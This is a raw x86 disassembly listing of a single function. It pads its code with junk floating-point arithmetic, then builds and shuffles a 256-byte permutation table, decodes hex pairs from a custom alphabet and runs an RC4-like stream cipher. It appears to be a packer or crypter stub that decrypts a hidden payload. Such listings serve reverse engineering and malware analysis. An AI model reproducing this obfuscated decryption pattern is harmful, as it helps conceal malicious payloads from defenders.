xorps xmm0, xmm0
movsd qword [ebp - 0x514c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x514c], xmm0
jmp 0x48f127
movsd xmm0, qword [ebp - 0x514c]
addsd xmm0, qword [0x9d3060]
movsd qword [ebp - 0x514c], xmm0
movsd xmm0, qword [0x9d4ef0]
comisd xmm0, xmmword [ebp - 0x514c]
jbe 0x48f1d8
movsd xmm0, qword [0x9d3e40]
mulsd xmm0, qword [ebp - 0x514c]
mulsd xmm0, qword [ebp - 0x514c]
movsd xmm1, qword [ebp - 0x514c]
mulsd xmm1, qword [ebp - 0x514c]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d3a00]
mulsd xmm1, qword [ebp - 0x514c]
mulsd xmm1, qword [ebp - 0x514c]
addsd xmm1, qword [0x9d3ba8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x53b4]
movsd qword [ebp - 0x53b4], xmm0
movsd xmm0, qword [ebp - 0x53b4]
comisd xmm0, xmmword [0x9d3ca0]
jbe 0x48f1d3
movsd xmm0, qword [0x9d3900]
mulsd xmm0, qword [ebp - 0x514c]
movsd xmm1, qword [ebp - 0x53b4]
subsd xmm1, xmm0
movsd qword [ebp - 0x53b4], xmm1
invalid
jmp 0x48f10f
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x53b4]
jbe 0x48f21c
dec ebp
xor al, 0x72
dec ebx
and al, byte [eax + 0x20]
pop edx
ja 0x48f231
pop ebx
push ecx
sub eax, 0x4a61463b
inc ecx
and byte [ecx + 0x76], bh
and al, 0x35
xor ah, byte [ebp + 0x7c]
aas
mov bh, byte [esi]
mov edi, dword [edi]
mov byte [0x4b8b447f], bh
test byte [edx - 0x78], al
inc ecx
mov dword [eax - 0x7f], eax
dec edx
xchg byte [ebp - 0x7d], al
dec ecx
jmp 0x491510
mov dword [ebp - 0x6188], 0x48f1ff
mov dword [ebp - 0x6184], 0x48f1e5
mov edx, dword [ebp - 0x6188]
mov dword [ebp - 0x3f64], edx
mov eax, dword [ebp - 0x6184]
mov dword [ebp - 0x6180], eax
mov byte [ebp - 0x3da3], 0x1e
mov dword [ebp - 0x33c8], 0
mov dword [ebp - 0x4adc], 0
mov dword [ebp - 0x33c8], 0
jmp 0x48f27e
xchg ebp, eax
js 0x48f1d2
invalid
mov ecx, dword [ebp - 0x33c8]
add ecx, 1
mov dword [ebp - 0x33c8], ecx
cmp dword [ebp - 0x33c8], 0x100
jae 0x48f2a4
mov edx, dword [ebp - 0x33c8]
shl edx, 0
lea eax, [ebp - 0x1a18]
mov cl, byte [ebp - 0x33c8]
mov byte [edx + eax], cl
jmp 0x48f26f
mov dword [ebp - 0x4adc], 0
mov byte [ebp - 0x3410], 0
mov dword [ebp - 0x33c8], 0xff
jmp 0x48f2d0
mov edx, dword [ebp - 0x33c8]
sub edx, 1
mov dword [ebp - 0x33c8], edx
cmp dword [ebp - 0x33c8], 0
jbe 0x48f596
mov dword [ebp - 0x5850], 0
mov dword [ebp - 0x5608], 1
mov dword [ebp - 0x4678], 0
mov eax, dword [ebp - 0x5608]
cmp eax, dword [ebp - 0x33c8]
jae 0x48f31c
mov ecx, dword [ebp - 0x5608]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x5608], ecx
jmp 0x48f2fb
mov edx, dword [ebp - 0x4adc]
mov dword [ebp - 0x5d9c], edx
cmp dword [ebp - 0x5d9c], 3
ja case.default.0x48f33b
mov eax, dword [ebp - 0x5d9c]
jmp dword [eax*4 + 0x4de87c]
movzx ecx, byte [ebp - 0x3410]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x53b4]
call fcn.009b1700
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3410], bl
jmp 0x48f442
movzx eax, byte [ebp - 0x3410]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x53b4]
call fcn.009b1700
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3410], bl
jmp 0x48f442
movzx edx, byte [ebp - 0x3410]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x53b4]
call fcn.009b1700
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3410], bl
jmp 0x48f442
movzx ecx, byte [ebp - 0x3410]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x53b4]
call fcn.009b1700
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3410], bl
jmp 0x48f442
movzx eax, byte [ebp - 0x3410]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [eax + ecx]
mov eax, dword [ebp - 0x4adc]
sub eax, 4
shl eax, 0
add eax, dword [ebp - 0x6180]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x3410], dl
mov edx, dword [ebp - 0x4adc]
add edx, 1
mov dword [ebp - 0x4adc], edx
movzx eax, byte [ebp - 0x3da3]
cmp dword [ebp - 0x4adc], eax
jb 0x48f480
mov dword [ebp - 0x4adc], 0
movzx ecx, byte [ebp - 0x3da3]
movzx edx, byte [ebp - 0x3410]
add edx, ecx
mov byte [ebp - 0x3410], dl
movzx eax, byte [ebp - 0x3410]
and eax, dword [ebp - 0x5608]
mov dword [ebp - 0x4678], eax
mov ecx, dword [ebp - 0x5850]
add ecx, 1
mov dword [ebp - 0x5850], ecx
cmp dword [ebp - 0x5850], 0xb
jbe 0x48f4bf
mov eax, dword [ebp - 0x4678]
xor edx, edx
div dword [ebp - 0x33c8]
mov dword [ebp - 0x4678], edx
mov edx, dword [ebp - 0x4678]
cmp edx, dword [ebp - 0x33c8]
ja 0x48f31c
mov eax, dword [ebp - 0x33c8]
cmp eax, dword [ebp - 0x4678]
je 0x48f591
mov ecx, dword [ebp - 0x33c8]
shl ecx, 0
lea edx, [ebp - 0x1a18]
mov eax, dword [ebp - 0x4678]
shl eax, 0
lea esi, [ebp - 0x1a18]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x33c8]
shl edx, 0
lea eax, [ebp - 0x1a18]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x4678]
shl ecx, 0
lea edx, [ebp - 0x1a18]
mov eax, dword [ebp - 0x33c8]
shl eax, 0
lea esi, [ebp - 0x1a18]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x4678]
shl edx, 0
lea eax, [ebp - 0x1a18]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x33c8]
shl ecx, 0
lea edx, [ebp - 0x1a18]
mov eax, dword [ebp - 0x4678]
shl eax, 0
lea esi, [ebp - 0x1a18]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x33c8]
shl edx, 0
lea eax, [ebp - 0x1a18]
mov byte [edx + eax], cl
jmp 0x48f2c1
mov ecx, 1
shl ecx, 0
lea edx, [ebp - 0x1a18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x325b], al
mov ecx, 1
imul edx, ecx, 3
lea eax, [ebp - 0x1a18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3293], cl
mov edx, 1
imul eax, edx, 5
lea ecx, [ebp - 0x1a18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x332f], dl
mov eax, 1
imul ecx, eax, 7
lea edx, [ebp - 0x1a18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3294], al
movzx ecx, byte [ebp - 0x3410]
shl ecx, 0
lea edx, [ebp - 0x1a18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x32d8], al
mov dword [ebp - 0x5b4c], 0x18
cmp dword [ebp - 0x5b4c], 2
jle 0x4914bf
mov ecx, dword [ebp - 0x5b4c]
and ecx, 1
jne 0x4914bf
mov dword [ebp - 0x33c8], 0
mov dword [ebp - 0x3750], 0
mov edx, dword [ebp - 0x3750]
add edx, 1
mov dword [ebp - 0x3750], edx
mov dword [ebp - 0x3e34], 0
mov eax, dword [ebp - 0x33c8]
shl eax, 1
mov dword [ebp - 0x3e34], eax
mov dword [ebp - 0x3cc8], 0
mov ecx, dword [ebp - 0x3e34]
shl ecx, 0
add ecx, dword [ebp - 0x3f64]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3cc8]
mov dword [ebp - 0x3cc8], edx
mov dword [ebp - 0x3ccc], 0
mov eax, dword [ebp - 0x3ccc]
add eax, 0x7c
mov dword [ebp - 0x3ccc], eax
mov dword [ebp - 0x3e38], 0
mov ecx, dword [ebp - 0x33c8]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3e38], ecx
mov dword [ebp - 0x3cd0], 0
mov edx, dword [ebp - 0x3e38]
shl edx, 0
add edx, dword [ebp - 0x3f64]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3cd0]
mov dword [ebp - 0x3cd0], eax
mov dword [ebp - 0x3cd4], 0
mov ecx, dword [ebp - 0x3cd4]
add ecx, 0x3d
mov dword [ebp - 0x3cd4], ecx
mov dword [ebp - 0x3cd8], 0
mov edx, dword [ebp - 0x3cc8]
sub edx, dword [ebp - 0x3ccc]
add edx, dword [ebp - 0x3cd8]
mov dword [ebp - 0x3cd8], edx
movsd xmm0, qword [0x9d4b40]
movsd qword [ebp - 0x494c], xmm0
movsd xmm0, qword [0x9d48a0]
movsd qword [ebp - 0x41ac], xmm0
movsd xmm0, qword [0x9d45c8]
movsd qword [ebp - 0x4b00], xmm0
movsd xmm0, qword [0x9d42e0]
movsd qword [ebp - 0x48a4], xmm0
movsd xmm0, qword [0x9d3fc0]
movsd qword [ebp - 0x4f7c], xmm0
movsd xmm0, qword [ebp - 0x41ac]
addsd xmm0, qword [ebp - 0x4f7c]
movsd qword [ebp - 0x41ac], xmm0
movsd xmm0, qword [ebp - 0x4b00]
subsd xmm0, qword [ebp - 0x4f7c]
movsd qword [ebp - 0x4b00], xmm0
movsd xmm0, qword [ebp - 0x41ac]
mulsd xmm0, qword [ebp - 0x4f7c]
movsd qword [ebp - 0x41ac], xmm0
movsd xmm0, qword [ebp - 0x494c]
mulsd xmm0, qword [ebp - 0x4f7c]
movsd qword [ebp - 0x494c], xmm0
movsd xmm0, qword [ebp - 0x494c]
addsd xmm0, qword [ebp - 0x4f7c]
movsd qword [ebp - 0x494c], xmm0
movsd xmm0, qword [ebp - 0x4f7c]
comisd xmm0, xmmword [ebp - 0x41ac]
jbe 0x48fa02
movsd xmm0, qword [ebp - 0x4b00]
mulsd xmm0, qword [ebp - 0x4f7c]
movsd qword [ebp - 0x4b00], xmm0
movsd xmm0, qword [ebp - 0x41ac]
divsd xmm0, qword [ebp - 0x48a4]
movsd qword [ebp - 0x41ac], xmm0
movsd xmm0, qword [ebp - 0x494c]
mulsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x494c], xmm0
movsd xmm0, qword [ebp - 0x494c]
divsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x494c], xmm0
movsd xmm0, qword [ebp - 0x41ac]
addsd xmm0, qword [ebp - 0x48a4]
movsd qword [ebp - 0x41ac], xmm0
movsd xmm0, qword [ebp - 0x41ac]
subsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x41ac], xmm0
movsd xmm0, qword [ebp - 0x48a4]
mulsd xmm0, qword [ebp - 0x4f7c]
movsd qword [ebp - 0x48a4], xmm0
movsd xmm0, qword [ebp - 0x41ac]
addsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x41ac], xmm0
movsd xmm0, qword [ebp - 0x4f7c]
subsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x4f7c], xmm0
movsd xmm0, qword [ebp - 0x494c]
addsd xmm0, qword [ebp - 0x41ac]
movsd qword [ebp - 0x494c], xmm0
movsd xmm0, qword [ebp - 0x48a4]
comisd xmm0, xmmword [ebp - 0x494c]
jbe 0x48f985
movsd xmm0, qword [ebp - 0x48a4]
subsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x48a4], xmm0
movsd xmm0, qword [ebp - 0x494c]
addsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x494c], xmm0
movsd xmm0, qword [ebp - 0x41ac]
divsd xmm0, qword [ebp - 0x48a4]
movsd qword [ebp - 0x41ac], xmm0
movsd xmm0, qword [ebp - 0x48a4]
addsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x48a4], xmm0
movsd xmm0, qword [ebp - 0x4b00]
mulsd xmm0, qword [ebp - 0x4f7c]
movsd qword [ebp - 0x4b00], xmm0
jmp 0x48f9fd
movsd xmm0, qword [ebp - 0x41ac]
subsd xmm0, qword [ebp - 0x48a4]
movsd qword [ebp - 0x41ac], xmm0
movsd xmm0, qword [ebp - 0x4b00]
addsd xmm0, qword [ebp - 0x4f7c]
movsd qword [ebp - 0x4b00], xmm0
movsd xmm0, qword [ebp - 0x41ac]
addsd xmm0, qword [ebp - 0x48a4]
movsd qword [ebp - 0x41ac], xmm0
movsd xmm0, qword [ebp - 0x41ac]
addsd xmm0, qword [ebp - 0x48a4]
movsd qword [ebp - 0x41ac], xmm0
movsd xmm0, qword [ebp - 0x48a4]
addsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x48a4], xmm0
jmp 0x48fa84
mov dword [ebp - 0x3cdc], 0
movsd xmm0, qword [ebp - 0x48a4]
mulsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x48a4], xmm0
movsd xmm0, qword [ebp - 0x4b00]
subsd xmm0, qword [ebp - 0x4f7c]
movsd qword [ebp - 0x4b00], xmm0
movsd xmm0, qword [ebp - 0x4b00]
addsd xmm0, qword [ebp - 0x4f7c]
movsd qword [ebp - 0x4b00], xmm0
movsd xmm0, qword [ebp - 0x41ac]
addsd xmm0, qword [ebp - 0x48a4]
movsd qword [ebp - 0x41ac], xmm0
movsd xmm0, qword [ebp - 0x41ac]
subsd xmm0, qword [ebp - 0x48a4]
movsd qword [ebp - 0x41ac], xmm0
movss xmm0, dword [0x9d57b8]
movss dword [ebp - 0x4fbc], xmm0
movss xmm0, dword [0x9d5728]
movss dword [ebp - 0x4fb8], xmm0
movss xmm0, dword [0x9d5628]
movss dword [ebp - 0x4458], xmm0
movss xmm0, dword [0x9d54c4]
movss dword [ebp - 0x47f4], xmm0
movss xmm0, dword [0x9d5360]
movss dword [ebp - 0x443c], xmm0
movss xmm0, dword [0x9d5224]
movss dword [ebp - 0x467c], xmm0
movss xmm0, dword [0x9d50b0]
movss dword [ebp - 0x4324], xmm0
movss xmm0, dword [ebp - 0x47f4]
addss xmm0, dword [ebp - 0x4324]
movss dword [ebp - 0x47f4], xmm0
movss xmm0, dword [ebp - 0x443c]
subss xmm0, dword [ebp - 0x4324]
movss dword [ebp - 0x443c], xmm0
movss xmm0, dword [ebp - 0x443c]
addss xmm0, dword [ebp - 0x4324]
movss dword [ebp - 0x443c], xmm0
movss xmm0, dword [ebp - 0x4458]
mulss xmm0, dword [ebp - 0x4324]
movss dword [ebp - 0x4458], xmm0
movss xmm0, dword [ebp - 0x443c]
subss xmm0, dword [ebp - 0x4324]
movss dword [ebp - 0x443c], xmm0
movss xmm0, dword [ebp - 0x467c]
subss xmm0, dword [ebp - 0x4324]
movss dword [ebp - 0x467c], xmm0
movss xmm0, dword [ebp - 0x4fb8]
subss xmm0, dword [ebp - 0x4324]
movss dword [ebp - 0x4fb8], xmm0
movss xmm0, dword [ebp - 0x4458]
comiss xmm0, dword [ebp - 0x467c]
jbe 0x48fc76
movss xmm0, dword [ebp - 0x4fbc]
mulss xmm0, dword [ebp - 0x4fb8]
movss dword [ebp - 0x4fbc], xmm0
movss xmm0, dword [ebp - 0x4458]
mulss xmm0, dword [ebp - 0x47f4]
movss dword [ebp - 0x4458], xmm0
movss xmm0, dword [ebp - 0x443c]
subss xmm0, dword [ebp - 0x467c]
movss dword [ebp - 0x443c], xmm0
movss xmm0, dword [ebp - 0x47f4]
mulss xmm0, dword [ebp - 0x443c]
movss dword [ebp - 0x47f4], xmm0
movss xmm0, dword [ebp - 0x4fb8]
subss xmm0, dword [ebp - 0x4458]
movss dword [ebp - 0x4fb8], xmm0
mov eax, dword [ebp - 0x3cd0]
sub eax, dword [ebp - 0x3cd4]
add eax, dword [ebp - 0x3cdc]
mov dword [ebp - 0x3cdc], eax
movss xmm0, dword [ebp - 0x4324]
addss xmm0, dword [ebp - 0x4fbc]
movss dword [ebp - 0x4324], xmm0
movss xmm0, dword [ebp - 0x467c]
mulss xmm0, dword [ebp - 0x4324]
movss dword [ebp - 0x467c], xmm0
jmp 0x48fd1e
movss xmm0, dword [ebp - 0x47f4]
subss xmm0, dword [ebp - 0x467c]
movss dword [ebp - 0x47f4], xmm0
movss xmm0, dword [ebp - 0x4458]
addss xmm0, dword [ebp - 0x443c]
movss dword [ebp - 0x4458], xmm0
movss xmm0, dword [ebp - 0x4458]
addss xmm0, dword [ebp - 0x443c]
movss dword [ebp - 0x4458], xmm0
movss xmm0, dword [ebp - 0x4324]
mulss xmm0, dword [ebp - 0x4fb8]
movss dword [ebp - 0x4324], xmm0
movss xmm0, dword [ebp - 0x4fbc]
mulss xmm0, dword [ebp - 0x4458]
movss dword [ebp - 0x4fbc], xmm0
movss xmm0, dword [ebp - 0x467c]
addss xmm0, dword [ebp - 0x4fbc]
movss dword [ebp - 0x467c], xmm0
movss xmm0, dword [ebp - 0x47f4]
mulss xmm0, dword [ebp - 0x467c]
movss dword [ebp - 0x47f4], xmm0
mov dword [ebp - 0x3e3c], 0
mov ecx, dword [ebp - 0x3cd8]
shl ecx, 4
mov dword [ebp - 0x3e3c], ecx
mov dword [ebp - 0x3e40], 0
mov edx, dword [ebp - 0x3cdc]
mov dword [ebp - 0x3e40], edx
mov dword [ebp - 0x3e44], 0
mov eax, dword [ebp - 0x3e3c]
or eax, dword [ebp - 0x3e40]
mov dword [ebp - 0x3e44], eax
mov byte [ebp - 0x3338], 0
mov cl, byte [ebp - 0x3e44]
mov byte [ebp - 0x3338], cl
mov byte [ebp - 0x332e], 0
movzx edx, byte [ebp - 0x32d8]
shl edx, 0
lea eax, [ebp - 0x1a18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x332e], cl
movzx edx, byte [ebp - 0x325b]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3293]
add edx, ecx
mov byte [ebp - 0x3293], dl
mov al, byte [ebp - 0x325b]
add al, 1
mov byte [ebp - 0x325b], al
movzx ecx, byte [ebp - 0x3293]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [ebp - 0x32d8]
shl eax, 0
lea esi, [ebp - 0x1a18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3294]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ebp - 0x3293]
shl ecx, 0
lea esi, [ebp - 0x1a18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325b]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [ebp - 0x3294]
shl edx, 0
lea esi, [ebp - 0x1a18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325b]
shl ecx, 0
lea edx, [ebp - 0x1a18]
mov al, byte [ebp - 0x332e]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x332e]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x332f]
add ecx, eax
mov byte [ebp - 0x332f], cl
movzx edx, byte [ebp - 0x3338]
movzx eax, byte [ebp - 0x3293]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x325b]
shl ecx, 0
lea esi, [ebp - 0x1a18]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3294]
shl ecx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32d8]
shl eax, 0
lea esi, [ebp - 0x1a18]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x332f]
shl eax, 0
lea esi, [ebp - 0x1a18]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3294], dl
mov dl, byte [ebp - 0x3338]
mov byte [ebp - 0x32d8], dl
mov al, byte [ebp - 0x3294]
mov byte [ebp - 0x345c], al
cmp dword [ebp - 0x33c8], 0
jbe 0x48ff64
mov ecx, dword [ebp - 0x33c8]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x3c0]
mov al, byte [ebp - 0x345c]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x3750]
add ecx, 3
mov dword [ebp - 0x3750], ecx
mov edx, dword [ebp - 0x33c8]
add edx, 1
mov dword [ebp - 0x4ad8], edx
jmp 0x48ff93
mov eax, dword [ebp - 0x4ad8]
add eax, 1
mov dword [ebp - 0x4ad8], eax
mov ecx, dword [ebp - 0x4ad8]
cmp ecx, dword [ebp - 0x3750]
jge 0x49025c
mov edx, dword [ebp - 0x33c8]
add edx, 1
mov dword [ebp - 0x33c8], edx
mov eax, dword [ebp - 0x33c8]
shl eax, 1
mov dword [ebp - 0x3e34], eax
mov ecx, dword [ebp - 0x3e34]
shl ecx, 0
add ecx, dword [ebp - 0x3f64]
movzx edx, byte [ecx]
mov dword [ebp - 0x3cc8], edx
mov dword [ebp - 0x3ccc], 0x7c
mov eax, dword [ebp - 0x33c8]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3e38], eax
mov ecx, dword [ebp - 0x3e38]
shl ecx, 0
add ecx, dword [ebp - 0x3f64]
movzx edx, byte [ecx]
mov dword [ebp - 0x3cd0], edx
mov dword [ebp - 0x3cd4], 0x3d
mov eax, dword [ebp - 0x3cc8]
sub eax, dword [ebp - 0x3ccc]
mov dword [ebp - 0x3cd8], eax
mov ecx, dword [ebp - 0x3cd0]
sub ecx, dword [ebp - 0x3cd4]
mov dword [ebp - 0x3cdc], ecx
mov edx, dword [ebp - 0x3cd8]
shl edx, 4
mov dword [ebp - 0x3e3c], edx
mov eax, dword [ebp - 0x3cdc]
mov dword [ebp - 0x3e40], eax
mov ecx, dword [ebp - 0x3e3c]
or ecx, dword [ebp - 0x3e40]
mov dword [ebp - 0x3e44], ecx
mov dl, byte [ebp - 0x3e44]
mov byte [ebp - 0x3338], dl
movzx eax, byte [ebp - 0x32d8]
shl eax, 0
lea ecx, [ebp - 0x1a18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x332e], dl
movzx eax, byte [ebp - 0x325b]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3293]
add eax, edx
mov byte [ebp - 0x3293], al
mov cl, byte [ebp - 0x325b]
add cl, 1
mov byte [ebp - 0x325b], cl
movzx edx, byte [ebp - 0x3293]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ebp - 0x32d8]
shl ecx, 0
lea esi, [ebp - 0x1a18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3294]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [ebp - 0x3293]
shl edx, 0
lea esi, [ebp - 0x1a18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325b]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [ebp - 0x3294]
shl eax, 0
lea esi, [ebp - 0x1a18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325b]
shl edx, 0
lea eax, [ebp - 0x1a18]
mov cl, byte [ebp - 0x332e]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x332e]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x332f]
add edx, ecx
mov byte [ebp - 0x332f], dl
movzx eax, byte [ebp - 0x3338]
movzx ecx, byte [ebp - 0x3293]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x325b]
shl edx, 0
lea esi, [ebp - 0x1a18]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3294]
shl edx, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32d8]
shl ecx, 0
lea esi, [ebp - 0x1a18]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x332f]
shl ecx, 0
lea esi, [ebp - 0x1a18]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3294], al
mov al, byte [ebp - 0x3338]
mov byte [ebp - 0x32d8], al
mov cl, byte [ebp - 0x3294]
mov byte [ebp - 0x345c], cl
cmp dword [ebp - 0x33c8], 0
jbe 0x490257
mov edx, dword [ebp - 0x33c8]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x3c0]
mov cl, byte [ebp - 0x345c]
mov byte [edx + eax], cl
jmp 0x48ff84
mov edx, dword [ebp - 0x3750]
add edx, 1
mov dword [ebp - 0x3750], edx
mov eax, dword [ebp - 0x3750]
add eax, 4
mov dword [ebp - 0x3750], eax
mov ecx, dword [ebp - 0x33c8]
add ecx, 1
mov dword [ebp - 0x4ad8], ecx
jmp 0x49029a
mov edx, dword [ebp - 0x4ad8]
add edx, 1
mov dword [ebp - 0x4ad8], edx
mov eax, dword [ebp - 0x4ad8]
cmp eax, dword [ebp - 0x3750]
jge 0x490561
mov ecx, dword [ebp - 0x33c8]
add ecx, 1
mov dword [ebp - 0x33c8], ecx
mov edx, dword [ebp - 0x33c8]
shl edx, 1
mov dword [ebp - 0x3e34], edx
mov eax, dword [ebp - 0x3e34]
shl eax, 0
add eax, dword [ebp - 0x3f64]
movzx ecx, byte [eax]
mov dword [ebp - 0x3cc8], ecx
mov dword [ebp - 0x3ccc], 0x7c
mov edx, dword [ebp - 0x33c8]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3e38], edx
mov eax, dword [ebp - 0x3e38]
shl eax, 0
add eax, dword [ebp - 0x3f64]
movzx ecx, byte [eax]
mov dword [ebp - 0x3cd0], ecx
mov dword [ebp - 0x3cd4], 0x3d
mov edx, dword [ebp - 0x3cc8]
sub edx, dword [ebp - 0x3ccc]
mov dword [ebp - 0x3cd8], edx
mov eax, dword [ebp - 0x3cd0]
sub eax, dword [ebp - 0x3cd4]
mov dword [ebp - 0x3cdc], eax
mov ecx, dword [ebp - 0x3cd8]
shl ecx, 4
mov dword [ebp - 0x3e3c], ecx
mov edx, dword [ebp - 0x3cdc]
mov dword [ebp - 0x3e40], edx
mov eax, dword [ebp - 0x3e3c]
or eax, dword [ebp - 0x3e40]
mov dword [ebp - 0x3e44], eax
mov cl, byte [ebp - 0x3e44]
mov byte [ebp - 0x3338], cl
movzx edx, byte [ebp - 0x32d8]
shl edx, 0
lea eax, [ebp - 0x1a18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x332e], cl
movzx edx, byte [ebp - 0x325b]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3293]
add edx, ecx
mov byte [ebp - 0x3293], dl
mov al, byte [ebp - 0x325b]
add al, 1
mov byte [ebp - 0x325b], al
movzx ecx, byte [ebp - 0x3293]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [ebp - 0x32d8]
shl eax, 0
lea esi, [ebp - 0x1a18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3294]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ebp - 0x3293]
shl ecx, 0
lea esi, [ebp - 0x1a18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325b]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [ebp - 0x3294]
shl edx, 0
lea esi, [ebp - 0x1a18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325b]
shl ecx, 0
lea edx, [ebp - 0x1a18]
mov al, byte [ebp - 0x332e]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x332e]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x332f]
add ecx, eax
mov byte [ebp - 0x332f], cl
movzx edx, byte [ebp - 0x3338]
movzx eax, byte [ebp - 0x3293]
shl eax, 0
lea ecx, [ebp - 0x1a18]
